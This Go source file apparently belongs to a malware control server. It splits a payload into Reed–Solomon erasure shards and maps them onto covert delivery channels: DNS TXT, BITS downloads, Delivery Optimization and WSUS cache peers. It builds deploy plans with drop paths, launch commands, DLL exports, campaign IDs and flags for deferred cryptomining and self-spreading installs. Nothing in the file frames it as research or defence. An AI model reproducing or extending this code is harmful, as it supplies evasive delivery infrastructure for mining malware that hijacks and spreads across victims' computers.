package erasure import ( "crypto/sha256" "encoding/hex" "fmt" "strings" ) // Parallel lane transport hints — shards map across lanes for redundancy beyond single-lane spread. var parallelLaneOrder = []string{ "dns_txt", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "bits_curl", } // ShardRef is one erasure shard served on a parallel lane URL. type ShardRef struct { Index int `json:"index"` Lane string `json:"lane"` URL string `json:"url"` } // Plan is deploy-plan metadata for agent-side Reed–Solomon reassembly. type Plan struct { Enabled bool `json:"enabled"` Scheme string `json:"scheme"` DataShards int `json:"data_shards"` ParityShards int `json:"parity_shards"` PayloadSHA256 string `json:"sha256"` PayloadSize int `json:"payload_size"` ShardToken string `json:"shard_token"` Dest string `json:"dest,omitempty"` Launch string `json:"launch,omitempty"` DLLExport string `json:"dll_export,omitempty"` DeferMining bool `json:"defer_mining,omitempty"` SpreadInstall bool `json:"spread_install,omitempty"` Shards []ShardRef `json:"shards"` } // BuildPlan encodes payload, stores shards, and returns lane metadata for a signed deploy plan. func BuildPlan(store *ShardStore, serverURL, buildID, campaign string, payload []byte, dest, launch, dllExport string, deferMining, spreadInstall bool) (*Plan, error) { if store == nil { return nil, fmt.Errorf("erasure: nil shard store") } p, err := DefaultParams().Normalize() if err != nil { return nil, err } shards, payloadSize, err := Encode(payload, p) if err != nil { return nil, err } token := planToken(buildID, campaign, payload) store.Put(token, p, shards) base := strings.TrimRight(strings.TrimSpace(serverURL), "/") if base == "" { base = "http://127.0.0.1:8989" } refs := make([]ShardRef, len(shards)) for i := range shards { lane := parallelLaneOrder[i%len(parallelLaneOrder)] refs[i] = ShardRef{ Index: i, Lane: lane, URL: fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", base, token, i), } } return &Plan{ Enabled: true, Scheme: SchemeReedSolomonV1, DataShards: p.DataShards, ParityShards: p.ParityShards, PayloadSHA256: PayloadSHA256(payload), PayloadSize: payloadSize, ShardToken: token, Dest: dest, Launch: launch, DLLExport: dllExport, DeferMining: deferMining, SpreadInstall: spreadInstall, Shards: refs, }, nil } func planToken(buildID, campaign string, payload []byte) string { h := sha256.New() _, _ = h.Write([]byte(strings.TrimSpace(buildID))) _, _ = h.Write([]byte{0}) _, _ = h.Write([]byte(strings.TrimSpace(campaign))) _, _ = h.Write(payload) sum := h.Sum(nil) return hex.EncodeToString(sum[:8]) }